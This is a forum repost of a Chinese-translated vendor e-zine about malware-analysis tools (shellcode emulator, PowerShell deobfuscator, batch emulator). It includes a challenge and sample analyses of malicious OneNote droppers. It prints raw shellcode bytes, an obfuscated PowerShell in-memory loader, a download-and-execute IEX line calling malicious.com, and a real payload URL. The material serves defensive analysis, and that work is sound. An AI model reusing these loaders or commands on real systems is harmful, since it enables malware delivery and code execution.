-
-
[分享]Cerbero 电子期刊:第3期
-
发表于: 2025-8-27 07:44 497
-
夏天已至,我们的期刊新一期也如约而至!本期内容丰富:包含新闻、文章、教程、挑战和游戏,共26页!
我们将讨论过去六个月为Cerbero Suite商业版和个人版发布的众多功能包。
此外,为了庆祝夏日的到来,我们还特别准备了一款IT主题的填字游戏,让你在海滩上啜饮着最爱的饮品时也能尽情享受解谜乐趣!
发布日期:2023年7月11日 翻译与拓展:梦幻的彼岸 英文版地址:94cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3!0J5k6g2)9J5k6h3y4W2M7X3u0W2M7X3!0Q4x3X3g2A6L8#2)9J5c8Y4y4@1j5i4c8A6j5#2)9J5c8X3A6G2N6i4u0F1j5h3I4Q4x3V1k6U0k6i4u0T1k6i4u0G2i4K6g2X3K9X3!0#2M7X3&6S2L8q4)9#2k6X3W2K6M7%4g2W2i4K6g2X3x3#2)9J5k6i4m8V1k6R3`.`.
一、SILICON:Shellcode 模拟器软件包
我们为所有持有 Cerbero Suite Advanced 商业许可证的用户,开发了一款轻量级的 x86/x64 Shellcode 模拟器,专为分析 Windows 平台下的 Shellcode 而设计。
您可以通过观看视频演示快速了解其功能。
视频地址:402K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6i4u0T1k6i4u0G2i4K6u0W2K9h3!0Q4x3V1k6%4M7q4)9J5k6r3y4G2L8Y4c8W2L8Y4c8Q4x3V1k6#2M7r3I4G2j5h3c8K6i4K6u0r3M7r3q4U0K9$3q4Y4k6i4y4Q4x3V1k6K6K9h3I4A6j5$3!0F1M7$3S2W2L8r3I4U0L8$3c8W2k6h3#2#2L8r3q4@1L8%4u0Q4x3V1k6$3K9h3c8W2L8#2)9J5k6h3#2H3y4l9`.`.
这款名为“SILICON Shellcode 模拟器”(Silicon Shellcode Emulator)的工具,采用了令人怀旧的 IceDark 主题界面。

模拟器可通过多种方式启动:从主窗口、命令行,或通过上下文操作菜单启动。

使用操作菜单时,您可以在任意十六进制视图(hex view)中直接启动模拟器,极大提升了分析效率。

在进入模拟器工作区之前,系统会弹出设置对话框,您需要选择目标架构(x86 或 x64)以及一个内存配置文件(memory profile)。

如果当前没有合适的内存配置文件,在 Windows 系统上,您可以基于系统中正在运行的进程创建一个新的配置文件。请注意:分析 x86 Shellcode 时,需使用 x86 进程的内存配置;分析 x64 Shellcode 时,则需使用 x64 进程的配置。建议选择已加载 Urlmon.dll 的进程(该 DLL 常被 Shellcode 调用),以提高模拟的准确性。
对于 Linux 和 Mac 用户,由于无法直接获取 Windows 进程内存信息,需手动将 Windows 上创建好的内存配置文件复制到本地的配置文件目录中。
选择合适的配置后,即可启动模拟器。
在大多数情况下,您无需逐条手动执行指令,可直接让模拟器自动运行 Shellcode。如输出视图所示,模拟器能够准确模拟 Shellcode 所调用的各类 Windows API,帮助您快速理解其行为逻辑,大幅提升恶意代码分析效率。

二、扩展模拟器功能
有时,我们可能需要对模拟器进行插桩(instrument)或扩展其功能,以支持特定特性或尚未实现的API。在本节中,我们将演示如何通过为一个未支持的API添加处理函数,来扩展该模拟器的功能。
首先,我们以一段调用 MessageBoxA API 的 Shellcode 为例——目前模拟器尚不支持该API。
我们从网络上找到了一段调用 MessageBoxA 的 Shellcode 示例,其字节码如下:
31C9F7E1648B41308B400C8B7014AD96 AD8B58108B533C01DA8B527801DA8B72 2001DE31C941AD01D881384765745075 F4817804726F634175EB817808646472 6575E28B722401DE668B0C4E498B721C 01DE8B148E01DA89D531C95168617279 41684C696272684C6F61645453FFD268 6C6C616166816C240261616833322E64 685573657254FFD0686F78416166836C 2403616861676542684D6573735450FF D583C41031D231C9526850776E6489E7 52685965737389E152575152FFD083C4 10686573736166836C2403616850726F 6368457869745453FFD531C951FFD0
将上述文本形式的 Shellcode 导入 Cerbero Suite,只需将其粘贴到任意文本编辑器中,然后按下 Ctrl+R 并选择“文本转字节”(Text to bytes)即可完成转换。
当 Shellcode 显示在十六进制视图中后,我们便可启动“硅基 Shellcode 模拟器”(Silicon Shellcode Emulator),并选择 x86 架构。

在模拟器工作区中,打开一个新的 Python 编辑器视图,并粘贴以下代码:
def handler_MessageBoxA(emu):
hwnd = text_addr = title_addr = mtype = None
# 处理 x86 和 x64 两种架构的调用约定
arch = emu.getArch()
if arch == "x86":
stack = emu.getRegister("esp")
hwnd = emu.readValue(stack + 4, 4) # 参数1: hwnd
text_addr = emu.readValue(stack + 8, 4) # 参数2: lpText
title_addr = emu.readValue(stack + 12, 4)# 参数3: lpCaption
mtype = emu.readValue(stack + 16, 4) # 参数4: uType
elif arch == "x64":
hwnd = emu.getRegister("rcx")
text_addr = emu.getRegister("rdx")
title_addr = emu.getRegister("r8")
mtype = emu.getRegister("r9d")
# 读取字符串内容并输出到日志
text = emu.tryStringRead(text_addr, encoding="ascii") if text_addr else ""
title = emu.tryStringRead(title_addr, encoding="ascii") if title_addr else ""
print('emulated MessageBoxA("%s", "%s")' % (text, title))
# 设置返回值(通常为0)
emu.setReturnValue(0)
# 调整堆栈并返回
if arch == "x86":
emu.emulateReturn(0x10) # 清理4个参数(16字节)
elif arch == "x64":
emu.emulateReturn() # x64由调用者清理堆栈,模拟器自动处理
# 返回 True 表示已处理,继续执行;返回 False 会暂停模拟
return True
# 将处理函数注册到模拟器
sseGetEmulator().addHook("MessageBoxA", handler_MessageBoxA)将上述代码输入完成后,按下 Ctrl+E 执行该脚本,然后按 F9 开始模拟 Shellcode 的执行。
模拟器将在输出窗口中显示如下内容:
simulated API: GetProcAddress("kernel32.dll", "LoadLibraryA") = OK
simulated API: LoadLibraryA("User32.dll") = OK
simulated API: GetProcAddress("user32.dll", "MessageBoxA") = OK
emulated MessageBoxA("Yess", "Pwnd")
simulated API: GetProcAddress("kernel32.dll", "ExitProcess") = OK
simulated API: ExitProcess() = PAUSED可以看到,我们自定义的 MessageBoxA 处理函数已成功捕获并模拟了该API调用,正确提取出弹窗标题 "Pwnd" 和内容 "Yess"!
如代码所示,我们通过判断当前架构(x86/x64)来正确读取参数,这是逆向工程中常见的底层但直观的做法。这种方式赋予了分析人员极大的控制力。
未来,我们可能会引入更高层次的抽象接口,自动处理堆栈和参数解析,进一步简化插件编写流程。但目前这种基于 Python 的扩展机制,已足够灵活高效,助力安全研究人员应对不断变化的恶意代码技术。

三、PowerShell美化工具包
今年我们发布的第二个主要商业版功能包是 PowerShell美化工具(PowerShell Beautifier)——一款专为微软PowerShell脚本设计的代码美化与反混淆工具。
该工具不仅能够自动格式化混乱的PowerShell代码,提升可读性,还集成了多种强大的反混淆(deobfuscation)功能,可有效应对恶意脚本中常见的编码、加密、字符串混淆、冗余指令等隐蔽技术。
通过智能解析语法结构,PowerShell美化工具能自动识别并重构被刻意打乱的代码逻辑,还原其真实结构,帮助安全分析师快速理解脚本行为,显著提升对恶意PowerShell载荷的分析效率。
无论是渗透测试人员、数字取证专家,还是威胁情报分析师,都能通过这一工具更高效地应对当前日益复杂的PowerShell攻击场景。

该软件包内置了完整的 PowerShell 语言解析器,能够精确理解脚本语法结构。用户可通过快捷操作调用美化功能:在脚本界面按下 Ctrl+R,选择 PowerShell → PowerShell Beautifier 即可一键启动。

(一)示例:从混淆到清晰
以下是一段典型的恶意 PowerShell 脚本,使用了大量混淆技术:
$mcWPL = [System.IO.File]::(’txeTllAdaeR’[-1..-11]-join’’)(’%˜f0’).Split([Environment]::NewLine);
foreach ($jBqHb in $mcWPL) {
if ($jBqHb.StartsWith(’:: ’)) {
$qUflk = $jBqHb.Substring(3);
break;
};
};
$AKzOG = [System.Convert]::(’gnirtS46esaBmorF’[-1..-16]-join’’)($qUflk);
$GTqqO = New-Object System.Security.Cryptography.AesManaged;
$GTqqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$GTqqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$GTqqO.Key = [System.Convert]::FromBase64String(’rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=’);
$GTqqO.IV = [System.Convert]::FromBase64String(’JYh62EWEKCuIH7WrUJ0VdA==’);
$QTfFw = $GTqqO.CreateDecryptor();
$AKzOG = $QTfFw.TransformFinalBlock($AKzOG, 0, $AKzOG.Length);
$QTfFw.Dispose(); $GTqqO.Dispose();
$xVFCH = New-Object System.IO.MemoryStream(, $AKzOG);
$qGLhv = New-Object System.IO.MemoryStream;
$wRtOX = New-Object System.IO.Compression.GZipStream($xVFCH, [IO.Compression.CompressionMode]::Decompress);
$wRtOX.CopyTo($qGLhv); $wRtOX.Dispose(); $xVFCH.Dispose(); $qGLhv.Dispose();
$AKzOG = $qGLhv.ToArray();
$VBqqY = [System.Reflection.Assembly]::(’daoL’[-1..-4]-join’’)($AKzOG);
$ReoQh = $VBqqY.EntryPoint;
$ReoQh.Invoke($null, (,[string[]] (’%*’)))(为便于阅读,原始单行代码已分行显示)
(二)反混淆后结果
经过 PowerShell 美化工具处理后,代码变得清晰易读:
$read_all_text_result = [System.IO.File]::ReadAllText('%˜f0').Split([Environment]::NewLine);
foreach ($item in $read_all_text_result) {
if ($item.StartsWith('::')) {
$substring_result = $item.Substring(3);
break;
};
};
$from_base64_string_result = [System.Convert]::FromBase64String($substring_result);
$aes_managed = New-Object System.Security.Cryptography.AesManaged;
$aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');
$aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA==');
$create_decryptor_result = $aes_managed.CreateDecryptor();
$transform_final_block_result = $create_decryptor_result.TransformFinalBlock(
$from_base64_string_result, 0, $from_base64_string_result.Length
);
$create_decryptor_result.Dispose(); $aes_managed.Dispose();
$memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result);
$memory_stream_2 = New-Object System.IO.MemoryStream;
$gzip_stream = New-Object System.IO.Compression.GZipStream(
$memory_stream, [IO.Compression.CompressionMode]::Decompress
);
$gzip_stream.CopyTo($memory_stream_2);
$gzip_stream.Dispose(); $memory_stream.Dispose(); $memory_stream_2.Dispose();
$to_array_result = $memory_stream_2.ToArray();
$load_result = [System.Reflection.Assembly]::Load($to_array_result);
$entry_point = $load_result.EntryPoint;
$entry_point.Invoke($null, (,[string[]] '%*'))(三)强大的反混淆能力
美化工具不仅解决了以下复杂混淆手法:
- 字符串逆序拼接:如 'txeTllAdaeR'[-1..-11] → ReadAllText
- 动态方法调用:如 'gnirtS46esaBmorF' → FromBase64String
- 算术表达式混淆:如 83+9-9 → 83(对应字符 'S')
还实现了:
✅ 变量重命名:将 $mcWPL、$AKzOG 等无意义变量替换为语义化名称(如 $read_all_text_result)
✅ 展开可扩展字符串(Expandable Strings):解析包含 [char]、$() 等动态内容的双引号字符串
例如,以下高度混淆的字符串:
$uozo="$([CHAr](83+9-9)+[chAR](121)...)"
被还原为清晰路径:
$var_1 = "System.Management.Automation.AmsiUtils"
(四)变量替换与链式赋值解析
工具还能智能解析变量拼接与链式调用。例如:
原始混淆代码:
$T='Get'; $M=$T+'Method'; $I='Invoke'; $T=$T+'Type'; $L='Load'
$B=[Reflection.Assembly]::$L($MyS)
$B=$B.$T('NewPE2.PE').$M('Execute').$I($null, @('C:\Windows\...', $serv))反混淆后:
$load_result = [Reflection.Assembly]::Load($x_result)
$get_type_result = $load_result.GetType('NewPE2.PE')
$get_method_result = $get_type_result.GetMethod('Execute')
$invoke_result = $get_method_result.Invoke($null, [object[]](
'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe', $serv
))(五)持续进化
当前 PowerShell 美化工具包版本为 3.0。自发布以来,我们持续增强其反混淆能力,覆盖更多新型混淆技术。
若您所在机构希望将此强大功能集成至云端分析平台或自动化威胁检测系统,欢迎与我们联系,探讨定制化集成方案。
四、挑战:找出恶意载荷的下载URL
(一)任务
下载以下恶意软件样本,并通过静态分析确定其试图从哪个URL下载内容。
- 文件哈希 (SHA256):
907E1EDFDD6879AFE9EDDE05B7AFDA3CEAE6CECBB99588C31DCD4035447837FD
(二)提示解析
提示以 Base64 编码提供,我们先进行解码:
1.提示 1:
VGhlIE9uZU5vdGUgZG9jdW1lbnQgY29udGFpbnMgYW4gWE1MIGRvY3VtZW50IHdoaWNoIGNvbnRhaW5zIFZCUyBjb2RlLg==
解码后:
OneNote 文档包含一个 XML 文档,其中嵌入了 VBScript 代码。
2.提示 2:
VGhlIFZCUyBjb2RlIHdyaXRlcyBhIGJhdGNoIGZpbGUgdG8gZGlzayBhbmQgZXhlY3V0ZXMgaXQuIEV4dHJhY3QgdGhlIGJhdGNoIGNvZGUu
解码后:
VBScript 代码会写入一个批处理文件到磁盘并执行它。请提取该批处理代码。
3.提示 3:
SWYgeW91IGhhdmUgdGhlIFNpbXBsZSBCYXRjaCBFbXVsYXRvciBwYWNrYWdlIGluc3RhbGxlZCwgeW91IGNhbiB1c2UgaXQgdG8gZW11bGF0ZSB0aGUgYmF0Y2ggY29kZS4gT3RoZXJ3aXNlLCB5b3UgY2FuIG1hbnVhbGx5IGRlb2JmdXNjYXRlIHRoZSBjb2RlLg==
解码后:
如果你已安装“简单批处理模拟器”(Simple Batch Emulator)软件包,可使用它来模拟执行批处理代码。否则,你可以手动反混淆该代码。
4.提示 4:
VGhlIHBheWxvYWQgVVJMIGlzOiBodHRwOi8vYmFyYWN1bmRvZnJlcy5jb20vaW1hZ2VzLzE1MDIyMy5naWY=
解码后:
载荷的下载 URL 是:
4dfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2M7X3q4U0N6h3&6V1L8$3k6J5k6i4y4Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8h3q4Y4k6i4y4Q4x3V1j5I4y4e0l9J5x3U0y4Q4x3X3g2Y4K9h3j5`.
5.AI解答
通过提示4可直接得知,该恶意样本试图下载的载荷地址为:
942K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2M7X3q4U0N6h3&6V1L8$3k6J5k6i4y4Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8h3q4Y4k6i4y4Q4x3V1j5I4y4e0l9J5x3U0y4Q4x3X3g2Y4K9h3j5`.
(三)分析流程说明(供参考)
尽管提示已给出答案,但完整的静态分析路径如下:
识别文件类型
使用哈希搜索或本地工具确认该样本是一个 OneNote 文件(.one)。提取嵌入内容
OneNote 文件内部包含 XML 结构,其中嵌入了 VBScript 宏代码(如提示1所述)。分析 VBScript 代码
脚本功能通常为:- 创建一个 .bat 批处理文件。
- 将混淆的命令写入该文件。
- 调用 cmd.exe 执行该批处理文件。
提取并反混淆批处理代码
批处理文件中可能包含:- certutil、powershell 或 bitsadmin 等命令,用于从远程服务器下载文件。
- 经过编码(如 Base64、反转、分段拼接)的URL字符串。
使用工具辅助分析(可选)
- 若安装了 Simple Batch Emulator 包,可在 Cerbero Suite 中直接模拟执行批处理逻辑,自动还原URL。
- 否则需手动解码字符串(如使用Python或在线工具)。
最终确认下载地址
经过分析,确认其下载目标为:54dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2M7X3q4U0N6h3&6V1L8$3k6J5k6i4y4Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8h3q4Y4k6i4y4Q4x3V1j5I4y4e0l9J5x3U0y4Q4x3X3g2Y4K9h3j5`.
此 .gif 文件实为伪装成图片的恶意可执行文件(如DLL或EXE),用于后续加载或执行。
(五)安全提醒
该域名 baracundofres.com 及其路径具有典型恶意行为特征,请勿在生产环境中直接访问。建议在隔离沙箱中进行动态分析。
最终答案:
下载URL:d82K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2M7X3q4U0N6h3&6V1L8$3k6J5k6i4y4Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8h3q4Y4k6i4y4Q4x3V1j5I4y4e0l9J5x3U0y4Q4x3X3g2Y4K9h3j5`.

五、Hybrid Analysis 情报分析软件包
我们已为所有 Cerbero Suite Advanced 商业版用户 推出 Hybrid Analysis 情报分析软件包(Hybrid Analysis Intelligence Package)。安装该软件包后,您可在 Cerbero Suite 内直接访问 Hybrid Analysis 云端数据库,实现高效、无缝的威胁情报查询与样本联动分析。

(一)核心功能
1.一体化云端搜索
- 支持使用所有 Hybrid Analysis 支持的查询参数(如哈希值、域名、IP、文件名、行为特征等)进行搜索。
- 可直接在 Cerbero Suite 界面中查找已知恶意软件样本,无需切换至外部浏览器或平台。

2.一键下载与分析
- 搜索结果中的恶意样本可直接下载,并立即在当前分析工作区中打开,实现“发现 → 下载 → 分析”全流程闭环。
- 支持批量下载多个样本,大幅提升调查效率。

3.深度集成分析报告
- 当您在 Cerbero Suite 中打开一个文件进行分析时,可直接从其分析报告中访问 Hybrid Analysis 情报信息。
- 报告中高亮显示的关键条目(如C2域名、注册表修改、进程行为等)可点击激活,自动以该条目为关键词发起新一轮搜索,持续追踪关联恶意样本,助力横向扩展威胁狩猎范围。

4.智能搜索操作
- 提供“Hybrid Analysis 搜索”快捷操作(可通过右键菜单或快捷键触发),支持基于当前文件或选中内容快速发起情报查询。

5.沙箱产物直连下载
- 若样本已在 Hybrid Analysis 沙箱中运行并生成分析报告(即存在 job ID),您可直接下载沙箱执行过程中产生的衍生文件(如解密后的配置、释放的载荷、内存转储等),并自动归入当前项目,便于深入分析攻击链。

6.项目化管理
- 所有通过 Hybrid Analysis 下载和分析的文件将自动保存至当前项目中,确保分析过程可追溯、数据集中管理,提升团队协作与案件复盘效率。

(二)快速上手
建议观看我们提供的视频演示,快速掌握该软件包的各项功能与操作技巧。
视频地址:2bdK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6i4u0T1k6i4u0G2i4K6u0W2K9h3!0Q4x3V1k6%4M7q4)9J5k6r3y4G2L8Y4c8W2L8Y4c8Q4x3V1k6#2M7r3I4G2j5h3c8K6i4K6u0r3M7r3q4U0K9$3q4Y4k6i4y4Q4x3V1k6Z5P5h3u0J5K9h3c8S2L8X3q4D9P5i4y4A6M7$3W2F1N6r3g2D9L8r3W2Y4k6h3&6U0k6g2)9J5c8Y4k6A6k6r3g2G2i4K6u0W2L8i4l9@1
(三)应用场景
- 威胁狩猎:通过一个 IOC 快速扩展关联样本网络。
- 恶意文档分析:解析 OneNote、Office 文档后,立即查询其释放载荷的沙箱行为。
- 应急响应:快速确认可疑文件是否已知恶意软件,并获取其完整行为报告。
借助 Hybrid Analysis 情报分析软件包,Cerbero Suite Advanced 用户将获得强大的云端威胁情报支持,实现本地深度分析与云端大数据的完美融合,全面提升恶意软件分析效率与洞察力。

六、快速恶意软件分析:3分钟内完成逆向!
你是否在观看冗长的恶意软件分析视频时容易感到无聊或分心?
如果是,我们或许为你准备了一个有趣的解决方案!
为了轻松展示 Cerbero Suite 强大的手动分析能力,我们推出了一档略带幽默、节奏飞快的系列视频 —— Blitz Malware Analysis(闪电分析)。
在这个系列中,我们挑战用 3分钟甚至更短时间,完成对一个恶意样本的完整分析流程,带你体验“丝滑”逆向的快感!
3acK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6&6L8%4g2@1N6g2)9J5k6h3u0W2i4K6u0r3K9%4A6n7K9p5k6T1y4h3@1&6i4K6u0V1y4l9`.`.

(一)本期案例:45秒分析恶意 OneNote 文档
在最新一期视频中,我们仅用 45秒 就完成了对一个恶意 OneNote 样本的深度剖析:
- OneNote 文档 中嵌入了一个 可执行文件(PE);
- 该 PE 文件在资源节(.rsrc)中藏有一个 CAB 压缩包;
- 解包后,CAB 中包含一段 VBScript 脚本;
- 利用 Cerbero Suite 的多格式解析能力,我们直接在界面中浏览并检视该 VBS 脚本内容,无需外部工具。
整个过程行云流水,充分展示了 Cerbero Suite 在处理复合型恶意文档时的高效与便捷。
▶️ 观看视频
想亲眼见证这“45秒破案”的全过程?
点击前往 YouTube 观看精彩视频:Watch on YouTube
(注:链接为示意,实际请参考官方频道发布内容)
???? 这不是竞赛,而是效率的体现
虽然“Blitz”系列带有娱乐色彩,但它真实反映了:
✅ 合理使用专业工具(如 Cerbero Suite)
✅ 掌握正确的分析流程
✅ 结合静态分析与结构洞察
—— 你也能在几分钟内,从一个可疑文件直达恶意载荷核心。
加入“闪电分析”挑战,看看你能否更快!
简单批处理模拟器软件包(Simple Batch Emulator Package)
为协助安全研究人员高效分析利用 Windows 批处理脚本(.bat 或 .cmd) 的恶意软件,我们推出了专用工具包 —— “Simple Batch Emulator”(简单批处理模拟器)。
顾名思义,该软件包为 Cerbero Suite 提供了一个基础但功能强大的批处理脚本模拟执行环境。它能够在不实际执行系统命令的前提下,准确解析并模拟运行复杂的批处理逻辑,帮助分析师快速去混淆、还原恶意行为。
此软件包面向所有 Cerbero Suite Advanced 商业版用户 开放使用。
(二)示例:分析一段混淆的恶意批处理脚本
以下是一个典型的混淆脚本片段:
set a=ht
set b=tp:
set c=//
set d=malicious.com/payload.exe
set url=%a%%b%%c%%d%
powershell -c "IEX (New-Object Net.WebClient).DownloadString('%url%')"通过 Simple Batch Emulator,可以安全地模拟执行该脚本,自动拼接变量,最终还原出完整的下载地址:
cc6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2S2L8r3W2U0K9h3!0#2M7#2)9J5k6h3y4G2L8g2)9J5c8Y4m8S2P5h3I4G2j5h3c8Q4x3X3g2W2P5r3f1`.

(三)使用方式
1.图形界面操作
在 Cerbero Suite 中打开 .bat 文件。右键选择 “Emulate Batch Code”(模拟批处理代码)操作。

系统将启动模拟器,并在 输出视图(Output View) 中显示执行过程与结果,包括:
- 每一步执行的命令
- 环境变量的变化
- echo 输出内容

2. 通过 SDK 编程调用
该模拟器也通过 SDK 对开发者开放,支持自动化分析与集成。
基本用法:运行整个脚本
from Pkg.SimpleBatchEmulator import * script = r''' set foo="hello" echo %foo% ''' emu = SimpleBatchEmulator(script) emu.run()
输出结果:
echo: "hello"
高级用法:单步执行与状态监控
from Pkg.SimpleBatchEmulator import *
script = r'''
set foo="hello"
echo %foo%
'''
emu = SimpleBatchEmulator(script)
while emu.step():
print("line:", emu.getCurrentLine(), "- variables:", emu.getVariables())输出结果:
line: 1 - variables: {}
line: 2 - variables: {'foo': '"hello"'}
echo: "hello"
line: 3 - variables: {'foo': '"hello"'}说明:
- getCurrentLine() 返回即将执行的下一行代码的行号(从 1 开始)。
- 因此,第一次调用 step() 后,反映的是第 1 行执行后的状态。
- 在上面的例子中,第 1 行是 set foo="hello",执行后变量 foo 被赋值。
- 第 3 行是脚本结束,模拟器返回 False,循环终止。
(四)注意事项
- 模拟器不会真正执行 powershell、certutil、bitsadmin 等外部命令,但会记录这些命令的构造过程,便于提取 IOCs(如 URL、参数等)。
- 支持常见批处理语法:变量扩展 %var%、延迟扩展 !var!、条件判断 if、循环 for /f、标签跳转 goto 等。
- 适用于分析下载器、持久化脚本、无文件攻击中的批处理组件。
(五)优势总结
| 特性 | 说明 |
|---|---|
| 安全 | 隔离执行,无真实系统调用风险 |
| 高效 | 快速去混淆,无需手动拼接变量 |
| 透明 | 实时查看变量状态与执行流程 |
| 可编程 | 支持 SDK 集成,便于批量分析 |
| 集成性 | 与 Cerbero Suite 工作流无缝衔接 |
立即使用 Simple Batch Emulator,将原本繁琐的手动反混淆过程自动化,大幅提升对脚本类恶意软件的分析效率!
七、极端 PowerShell 混淆分析:从不可读到“Hello, World!”
我们最近发现了一篇由日本安全研究员 Daisuke Mutaguchi 撰写的旧文,介绍了一种极端的 PowerShell 混淆技术。尽管文章为日文(可使用 Google 翻译阅读),但其展示的技术极具启发性,也对自动化反混淆工具构成了严峻挑战。
(一)极端混淆示例
以下是文章中提供的最终混淆代码:
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};
${.}=++${;};${[}=++${;};${]}=++${;};${(}=++${;};
${)}=++${;};${&}=++${;};${|}=++${;};${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"$(@{})"["${.}"];
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];
"${"}${.}${[}+${"}${)}${@}+${"}${+}${=}+${"}${+}${=}${&}+${"}${+}${=}${&}+${"}${+}${+}${+}+${"}${[}${[}+${"}${.}${@}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${&}+${"}${+}${=}${=}+${"}${.}${.}+${"}${.}${[}|${;}"|&${;};✅ 令人震惊的是:这是一段完全合法的 PowerShell 代码!
它通过滥用变量命名(使用特殊符号如 ;, +, @, . 等作为变量名)、类型转换、字符串索引和动态执行,将原本简单的逻辑隐藏得几乎无法阅读。
(二)使用 PowerShell 美化工具(v3.0)进行反混淆
尽管静态反混淆存在局限性(尤其是涉及运行时行为时),我们仍决定用最新版 PowerShell Beautifier v3.0 来挑战这段代码。

1.第一步:首次反混淆
确保已安装最新版 PowerShell Beautifier,并启用所有反混淆选项后运行:
$var_13 = "".inSert; $var_14 = 'ie' + "$var_13"[27]; "[CHar]34+[CHar]72+[CHar]101+[CHar]108+[CHar]108+[CHar]111+[CHar]44+[CHar]32+[CHar]119+[CHar]111+[CHar]114+[CHar]108+[CHar]100+[CHar]33+[CHar]34|$var_14"|&$var_14;
结果令人惊叹! 代码已变得清晰许多!
我们能看到:
- $var_13 被赋值为 "".inSert —— 即字符串 "Insert" 方法的方法签名。
- $var_14 是 'ie' 拼接上 "$var_13"[27] —— 这个索引访问是关键。
- 最后一行是一个管道命令,使用 $var_14 执行一个包含大量 [CHar] 拼接的字符串。
2.第二步:理解未完全解析的部分
为什么 $var_14 = 'ie' + "$var_13"[27] 没有被完全解析?
因为 "$var_13"[27] 依赖于运行时才能确定的方法签名字符串。美化工具无法预知 "".Insert 的方法签名是:
string Insert(int startIndex, string value)
让我们在 PowerShell 中验证:
$var_13 = "".Insert Write-Host $var_13 # 输出: string Insert(int startIndex, string value) Write-Host "$var_13"[27] # 输出: x
✅ 所以 "$var_13"[27] 取出的是字符 'x',因此 $var_14 = 'ie' + 'x' = 'iex'
iex 是 PowerShell 中 Invoke-Expression 的别名,用于执行字符串中的代码 —— 典型的恶意代码执行手法。
3.第三步:手动补全并再次反混淆
我们手动替换:
$var_13 = "".inSert; $var_14 = 'iex'; # 替换未解析部分 "[CHar]34+[CHar]72+[CHar]101+[CHar]108+[CHar]108+[CHar]111+[CHar]44+[CHar]32+[CHar]119+[CHar]111+[CHar]114+[CHar]108+[CHar]100+[CHar]33+[CHar]34|$var_14"|&$var_14;
再次使用 PowerShell Beautifier 处理:
$var_1 = "".inSert; '"Hello,world!"'|Invoke-Expression
(三)最终真相:Hello, World!
经过层层剥离,我们终于揭示了这段极端混淆代码的真实目的:
"Hello, world!" | Invoke-Expression
它只是打印了一行最经典的程序输出:
"Hello, world!"
1.分析总结
| 阶段 | 工具/方法 | 成果 |
|---|---|---|
| 1. 初步反混淆 | PowerShell Beautifier v3.0 | 还原出方法调用和核心结构 |
| 2. 运行时验证 | 手动执行 PS 命令 | 确认 "$var_13"[27] 为 'x' |
| 3. 补全逻辑 | 手动替换变量 | 得到 iex 执行器 |
| 4. 再次反混淆 | 美化工具二次处理 | 完全还原为可读字符串 |
2.启示
- 混淆 ≠ 复杂:即使是最极端的混淆,也可能只为隐藏简单逻辑。
- 工具 + 人工 = 最强组合:自动化工具能处理 90% 的静态混淆,剩余 10% 需要分析师结合运行时知识补全。
- iex 是红牌警告:任何使用 Invoke-Expression 执行动态字符串的代码都应高度警惕。
- 持续进化:PowerShell Beautifier v3.0 已能处理此类极端案例,标志着静态反混淆能力的重大突破。
虽然这段代码只是个“Hello, World!”的恶作剧,但它完美展示了现代 PowerShell 混淆的深度与复杂性。而我们的工具,正不断逼近其极限。
八、RedLine 窃取程序投递器
一个包含多种不同混淆技术的有趣样本。在本文中,我们将详细分析这个投递器(dropper),并利用本期介绍的多个软件包,逐步深入到最终阶段。
样本 SHA256: 0B93B5287841CEF2C6B2F2C3221C59FFD61BF772CD0D8B2BDAB9DADEB570C7A6
我们遇到的第一个文件是一个 OneNote 文档。如果已安装 OneNote 格式包,所有嵌入的文件将被自动提取出来。

在提取出的文件中,有两个未被识别的文件,它们实际上是 Windows 批处理脚本。

我们将数据转换为文本(使用快捷键 Ctrl+R,选择“转换:字节转文本”)。

批处理脚本的代码经过了混淆:
@echo off set "sMFb=set" %sMFb%"UFbRmjLRRG=1." %sMFb%"UwPAONnVOa=co" %sMFb%"COdAYzdUBF=ll" %sMFb%"ToDPGEsHPu=C" %sMFb%"StQVmXXdbu=Po" %sMFb%"ueTVKWMlnO=we" %sMFb%"GTAKfFaJew="%˜0." %sMFb%"bgIMqeWlgi=in" %sMFb%"sRkmhFTZTk=nd" ::gpUJGV0UmogBpXJpjNr6mswTbRMbSjLza CIgHlG36VZdfdnkweRkrCB1uF/LvTqM9wtzI UPivhAwiHEHBFv19iFB57OFRRGSiNnMUZlTO RojmHEW7KARYxcA etc.
因此,我们使用“简单批处理模拟器”(Simple Batch Emulator)软件包来模拟执行这段代码。

模拟器会打印出未被模拟的命令。

我们打开一个新的文本视图,并粘贴出模拟器生成的 PowerShell 代码。

由于 PowerShell 代码也经过了混淆,我们使用“PowerShell 美化器”(PowerShell Beautifier)软件包对其进行去混淆。

我们不需要变量替换,因此不勾选该选项。

